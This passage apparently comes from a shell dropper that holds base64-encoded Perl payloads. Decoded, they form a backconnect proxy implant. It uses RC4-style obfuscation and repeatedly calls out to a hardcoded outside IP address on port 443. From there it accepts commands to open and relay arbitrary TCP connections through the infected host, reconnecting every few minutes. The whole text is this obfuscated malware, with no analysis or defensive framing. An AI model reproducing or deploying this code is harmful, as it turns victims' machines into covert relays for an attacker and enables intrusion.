JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_7() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 